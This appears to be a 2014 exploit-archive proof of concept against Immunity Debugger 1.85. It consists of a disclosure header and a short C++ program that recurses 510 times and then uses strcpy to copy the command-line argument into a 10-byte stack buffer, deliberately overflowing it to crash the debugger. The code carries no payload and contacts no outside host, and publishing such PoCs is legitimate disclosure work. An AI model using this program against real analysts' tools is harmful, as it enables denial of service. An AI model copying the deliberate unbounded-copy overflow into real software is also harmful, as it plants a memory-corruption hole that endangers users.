Immunity Debugger 1.85 - Stack Overflow (PoC)

/* Filename :  Crash_POC.cpp

# Exploit Title: [title]
# Date: 20 March 2014
# Exploit Author: Veysel HATAS ([email protected]) - Web Page : www.binarysniper.net
# Vendor Homepage: https://www.immunityinc.com/
# Software Link: https://www.immunityinc.com/products-immdbg.shtml
# Version: 1.85
# Tested on: WinXP, Win7

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int g_Count;

void foo(char *data);

int main(int argc, char* argv[])
{
      g_Count = 0;

      foo(argv[1]);
      return 0;
}

void foo(char *data)
{
      char salla[10];

      printf("Deneme - %d\n", g_Count);
      g_Count++;

      if (g_Count == 510){
            strcpy(salla, data);
      }

      try{
            foo(data);
      }
      catch(int e){
            printf("Error code is : %d", e);
      }
}